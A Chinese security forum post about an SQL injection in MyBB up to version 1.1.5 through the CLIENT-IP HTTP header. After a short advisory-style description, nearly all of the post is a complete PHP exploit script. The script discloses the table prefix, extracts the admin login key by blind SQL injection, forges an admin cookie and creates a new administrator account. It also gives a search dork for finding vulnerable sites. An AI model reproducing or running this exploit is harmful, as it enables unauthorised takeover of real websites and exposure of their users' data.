返回列表 发帖

MyBB Client-IP SQL注入漏洞

MyBB不正确过滤用户提交的URI数据,远程攻击者可以利用漏洞进行SQL注入攻击获得敏感信息。漏洞文件是'inc/functions.php'脚本对用户提交的CLIENT-IP http头字段缺少过滤,提交恶意SQL查询作为CLIENT-IP http头字段数据,可导致SQL注入攻击,可获得敏感信息。
  1. #!/usr/bin/php -q -d short_open_tag=on
  2. <?
  3. echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n";
  4. echo "by rgod rgod@autistici.org\n";
  5. echo "site: http://retrogod.altervista.org\n";
  6. echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n";
  7. /*
  8. works regardless of php.ini settings
  9. */
  10. if ($argc<3) {
  11. echo "Usage: php ".$argv[0]." host path OPTIONS\n";
  12. echo "host:      target server (ip/hostname)\n";
  13. echo "path:      path to MyBB\n";
  14. echo "Options:\n";
  15. echo "   -T[prefix]   specify a table prefix different from default (mybb_)\n";
  16. echo "   -u[number]   specify a user id other than 1 (usually admin)\n";
  17. echo "   -p[port]:    specify a port other than 80\n";
  18. echo "   -P[ip:port]: specify a proxy\n";
  19. echo "   -d:          disclose table prefix (reccomended)\n";
  20. echo "Example:\r\n";
  21. echo "php ".$argv[0]." localhost /MyBB/ -d\r\n";
  22. echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n";
  23. die;
  24. }
  25. /* software site: http://www.mybboard.com/

  26.    vulnerable code in inc/functions.php near lines 1292-1320:

  27.    ...
  28.    function getip() {
  29. global $_SERVER;
  30. if($_SERVER['HTTP_X_FORWARDED_FOR'])
  31. {
  32. if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
  33. {
  34. while(list($key, $val) = each($addresses[0]))
  35. {
  36. if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
  37. {
  38. $ip = $val;
  39. break;
  40. }
  41. }
  42. }
  43. }
  44. if(!$ip)
  45. {
  46. if($_SERVER['HTTP_CLIENT_IP'])
  47. {
  48. $ip = $_SERVER['HTTP_CLIENT_IP'];
  49. }
  50. else
  51. {
  52. $ip = $_SERVER['REMOTE_ADDR'];
  53. }
  54. }
  55. return $ip;
  56. }
  57. ...

  58. you can spoof your ip address through the CLIENT-IP http header...
  59. as result you can inject sql statements in class_session.php at lines 36-68:
  60. by calling the main index.php script
  61. ...
  62. function init()
  63. {
  64. global $ipaddress, $db, $mybb, $noonline;
  65. //
  66. // Get our visitors IP
  67. //
  68. $this->ipaddress = $ipaddress = getip();

  69. //
  70. // User-agent
  71. //
  72. $this->useragent = $_SERVER['HTTP_USER_AGENT'];
  73. if(strlen($this->useragent) > 100)
  74. {
  75. $this->useragent = substr($this->useragent, 0, 100);
  76. }

  77. //
  78. // Attempt to find a session id in the cookies
  79. //
  80. if($_COOKIE['sid'])
  81. {
  82. $this->sid = addslashes($_COOKIE['sid']);
  83. }
  84. else
  85. {
  86. $this->sid = 0;
  87. }

  88. //
  89. // Attempt to load the session from the database
  90. //
  91. $query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
  92. ...

  93. injection is blind, but you can ask true-false questions to the database to
  94. retrieve the admin loginkey.
  95. Through that you can build an admin cookie and create a new admin user through
  96. the admin/users.php script.
  97. Also you can disclose table prefix.

  98. --------------------------------------------------------------------------------


  99. -*****************************************************************************-
  100. *                                                                            *
  101. * Italia - Germania 2-0, al 114' forse il pi? bel gol che abbia mai visto    *
  102. * grazie Grosso!                                                             *
  103. *                                                                            *
  104. -*****************************************************************************-
  105. */

  106. error_reporting(0);
  107. ini_set("max_execution_time",0);
  108. ini_set("default_socket_timeout",5);

  109. function quick_dump($string)
  110. {
  111.   $result='';$exa='';$cont=0;
  112.   for ($i=0; $i<=strlen($string)-1; $i++)
  113.   {
  114.    if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  115.    {$result.="  .";}
  116.    else
  117.    {$result.="  ".$string[$i];}
  118.    if (strlen(dechex(ord($string[$i])))==2)
  119.    {$exa.=" ".dechex(ord($string[$i]));}
  120.    else
  121.    {$exa.=" 0".dechex(ord($string[$i]));}
  122.    $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  123.   }
  124. return $exa."\r\n".$result;
  125. }
  126. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  127. function sendpacketii($packet)
  128. {
  129.   global $proxy, $host, $port, $html, $proxy_regex;
  130.   if ($proxy=='') {
  131.     $ock=fsockopen(gethostbyname($host),$port);
  132.     if (!$ock) {
  133.       echo 'No response from '.$host.':'.$port; die;
  134.     }
  135.   }
  136.   else {
  137.    $c = preg_match($proxy_regex,$proxy);
  138.     if (!$c) {
  139.       echo 'Not a valid proxy...';die;
  140.     }
  141.     $parts=explode(':',$proxy);
  142.     echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  143.     $ock=fsockopen($parts[0],$parts[1]);
  144.     if (!$ock) {
  145.       echo 'No response from proxy...';die;
  146.    }
  147.   }
  148.   fputs($ock,$packet);
  149.   if ($proxy=='') {
  150.     $html='';
  151.     while (!feof($ock)) {
  152.       $html.=fgets($ock);
  153.     }
  154.   }
  155.   else {
  156.     $html='';
  157.     while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  158.       $html.=fread($ock,1);
  159.     }
  160.   }
  161.   fclose($ock);
  162.   #debug
  163.   #echo "\r\n".$html;
  164. }

  165. function make_seed()
  166. {
  167.    list($usec, $sec) = explode(' ', microtime());
  168.    return (float) $sec + ((float) $usec * 100000);
  169. }
  170. srand(make_seed());
  171. $anumber = rand(1,99999);

  172. $host=$argv[1];
  173. $path=$argv[2];
  174. $port=80;
  175. $prefix="mybb_";
  176. $user_id="1";//admin
  177. $proxy="";
  178. $dt=0;
  179. for ($i=3; $i<$argc; $i++){
  180. $temp=$argv[$i][0].$argv[$i][1];
  181. if ($temp=="-p")
  182. {
  183.   $port=str_replace("-p","",$argv[$i]);
  184. }
  185. if ($temp=="-P")
  186. {
  187.   $proxy=str_replace("-P","",$argv[$i]);
  188. }
  189. if ($temp=="-T")
  190. {
  191.   $prefix=str_replace("-T","",$argv[$i]);
  192. }
  193. if ($temp=="-u")
  194. {
  195.   $user_id=str_replace("-u","",$argv[$i]);
  196. }
  197. if ($temp=="-d")
  198. {
  199.   $dt=1;
  200. }
  201. }
  202. if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  203. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

  204. if ($dt)
  205. {
  206. $sql="'suntzuuuu/*";
  207. echo "sql -> ".$sql."\r\n";
  208. $packet ="GET ".$p."index.php HTTP/1.0\r\n";
  209. $packet.="CLIENT-IP: $sql\r\n";
  210. $packet.="Host: ".$host."\r\n";
  211. $packet.="Connection: Close\r\n\r\n";
  212. sendpacketii($packet);
  213. if (eregi("You have an error in your SQL syntax",$html))
  214. {
  215. $temp=explode("sessions",$html);
  216. $temp2=explode(" ",$temp[0]);
  217. $prefix=$temp2[count($temp2)-1];
  218. echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n";
  219. }
  220. else
  221. {
  222. echo "unable to disclose table prefix...\n";
  223. }
  224. sleep(1);
  225. }

  226. $chars[0]=0;//null
  227. $chars=array_merge($chars,range(48,57)); //numbers
  228. $chars=array_merge($chars,range(65,90));//A-Z letters
  229. $chars=array_merge($chars,range(97,122));//a-f letters
  230. $j=1;
  231. $loginkey="";
  232. while (!strstr($loginkey,chr(0)))
  233. {
  234. for ($i=0; $i<=255; $i++)
  235. {
  236. if (in_array($i,$chars))
  237. {
  238. $sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
  239. echo "sql -> ".$sql."\r\n";
  240. $packet ="GET ".$p."index.php HTTP/1.0\r\n";
  241. $packet.="CLIENT-IP: $sql\r\n";
  242. $packet.="Host: ".$host."\r\n";
  243. $packet.="Connection: Close\r\n\r\n";
  244. sendpacketii($packet);
  245. if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;}
  246. }
  247. if ($i==255) {die("Exploit failed...");}
  248. }
  249.   $j++;
  250. }
  251. $cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";
  252. echo "admin cookie -> ".$cookie."\r\n";


  253. $data='-----------------------------7d62702f250530
  254. Content-Disposition: form-data; name="action";

  255. do_add
  256. -----------------------------7d62702f250530
  257. Content-Disposition: form-data; name="userusername";

  258. suntzu'.$anumber.'
  259. -----------------------------7d62702f250530
  260. Content-Disposition: form-data; name="newpassword";

  261. suntzu'.$anumber.'
  262. -----------------------------7d62702f250530
  263. Content-Disposition: form-data; name="email";

  264. suntzoi@suntzu.org
  265. -----------------------------7d62702f250530
  266. Content-Disposition: form-data; name="usergroup";

  267. 4
  268. -----------------------------7d62702f250530
  269. Content-Disposition: form-data; name="additionalgroups[]";

  270. 4
  271. -----------------------------7d62702f250530
  272. Content-Disposition: form-data; name="displaygroup";

  273. 4
  274. -----------------------------7d62702f250530
  275. Content-Disposition: form-data; name="Add User";

  276.   Add User
  277. -----------------------------7d62702f250530--
  278. ';

  279. $packet="POST ".$p."admin/users.php HTTP/1.0\r\n";
  280. $packet.="User-Agent: Googlebot/2.1\r\n";
  281. $packet.="Host: ".$host."\r\n";
  282. $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
  283. $packet.="Content-Length: ".strlen($data)."\r\n";
  284. $packet.="Cookie: ".$cookie."\r\n";
  285. $packet.="Connection: Close\r\n\r\n";
  286. $packet.=$data;
  287. sendpacketii($packet);
  288. if (eregi("The user has successfully been added",$html))
  289. {
  290.   echo "exploit succeeded... now login as admin\n";
  291.   echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n";
  292. }
  293. else
  294. {
  295.   echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n";
  296. }
  297. ?>
复制代码
除了你,一切繁华,都是背景.....
Bugsh0wer漏洞公告牌
我的非安全:
http://www.nohack.cn/index.php/8455508

返回列表

论坛推荐 关闭


黑客手册2010新年主题活动

“祝福2010”许下你新年的愿望!你新年的愿望将被刊登在2月杂志上。


查看